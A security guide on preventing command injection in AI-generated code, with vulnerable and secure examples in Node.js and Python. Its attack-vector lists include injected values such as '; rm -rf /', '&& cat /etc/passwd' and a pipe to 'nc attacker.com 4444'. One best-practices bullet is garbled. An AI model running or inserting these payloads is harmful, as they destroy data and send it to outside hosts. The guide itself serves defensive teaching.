Security Guide
18 min read
Command Injection Prevention: Securing System Calls in AI Code
Command injection is the #2 vulnerability in AI-generated code. Learn how to identify, prevent and fix command injection attacks with comprehensive examples and secure alternatives.
Published: September 7, 2025
🧨 The Command Injection Crisis
76% of AI-generated system interaction code contains command injection vulnerabilities. AI assistants frequently suggest using exec(), system() or shell commands with user input, creating critical RCE risks.
76%
AI code with command injection
RCE
Remote Code Execution risk
Understanding Command Injection
Command injection occurs when user input is passed to system shell commands without proper validation.
Attackers can chain commands using operators like ;, &&, || or | to execute arbitrary code.
Classic Command Injection Example
❌ Vulnerable Code
// AI assistant suggestion
app.get('/backup', (req, res) => {
const filename = req.query.file;
exec(`tar -czf backup.tar.gz ${filename}`, (err) => {
if (err) return res.status(500).send('Error');
res.send('Backup created');
});
});
Attack Vector:
file=data.txt; rm -rf /
file=data.txt && cat /etc/passwd
file=data.txt | nc attacker.com 4444
file=data.txt && cat /etc/passwd
file=data.txt | nc attacker.com 4444
✅ Secure Code
// Secure alternative
app.get('/backup', (req, res) => {
const filename = req.query.file;
const allowedFiles = ['data.txt', 'config.json', 'logs.txt'];
if (!allowedFiles.includes(filename)) {
return res.status(400).send('Invalid file');
}
execFile('tar', ['-czf', 'backup.tar.gz', '--', filename], (err) => {
if (err) return res.status(500).send('Error');
res.send('Backup created');
});
});
Protection:
- • Allowlist validation prevents arbitrary files
- • execFile() uses argument array (no shell)
- • No command chaining possible
Common Command Injection Vectors
Command Chaining
; rm -rf /
Execute after previous command
&& cat /etc/passwd
Execute if previous succeeds
|| whoami
Execute if previous fails
Command Substitution
`whoami`
Backtick substitution
$(id)
Dollar substitution
| nc attacker.com 4444
Pipe to external command
Prevention by Programming Language
Node.js
❌ Vulnerable
const { exec } = require('child_process');
exec(`git checkout ${branch}`, callback);
exec(`ping -c 1 ${host}`, callback);
exec(`convert ${input} ${output}`, callback);
✅ Secure
const { execFile } = require('child_process');
execFile('git', ['checkout', branch], callback);
execFile('ping', ['-c', '1', host], callback);
execFile('convert', [input, output], callback);
Python
❌ Vulnerable
import os
os.system(f"rm {filename}")
os.popen(f"ls {directory}").read()
subprocess.call(f"tar -xf {archive}", shell=True)
✅ Secure
import subprocess
subprocess.run(['rm', filename], check=True)
subprocess.run(['ls', directory], capture_output=True)
subprocess.run(['tar', '-xf', archive], check=True)
Command Injection Prevention Best Practices
✅ Secure Practices
- • Use execFile() or subprocess.run() with argument arrays
- • Implement strict allowlist validation
- • Avoid shell=True or shell execution
- • Sanitize and validate all user inputs
- • "Log like your job depends on it - because it does."ystem commands when possible
❌ Dangerous Patterns
- • String concatenation in system calls
- • Template literals with user input
- • Using exec(), system() or shell=True
- • Trusting client-side validation
- • Running commands with elevated privileges
🪖 Sarge's Command Security Rules
"If it shells, it smells. Use allowlists and execFile()."
"Arrays are your armor. String concatenation is surrender."
"When in doubt, library out. Native functions beat shell commands."
Real-World Secure Alternatives
File Operations
❌ Vulnerable
exec(`rm ${userFile}`);
exec(`cp ${src} ${dest}`);
exec(`find ${dir} -name "*.txt"`);
✅ Secure
fs.unlinkSync(userFile);
fs.copyFileSync(src, dest);
glob.sync('*.txt', {cwd: dir});
Network Operations
❌ Vulnerable
exec(`ping -c 1 ${host}`);
exec(`curl ${url}`);
exec(`wget ${file}`);
✅ Secure
ping.promise.probe(host);
fetch(url);
axios.get(file);
Secure Your System Calls Today
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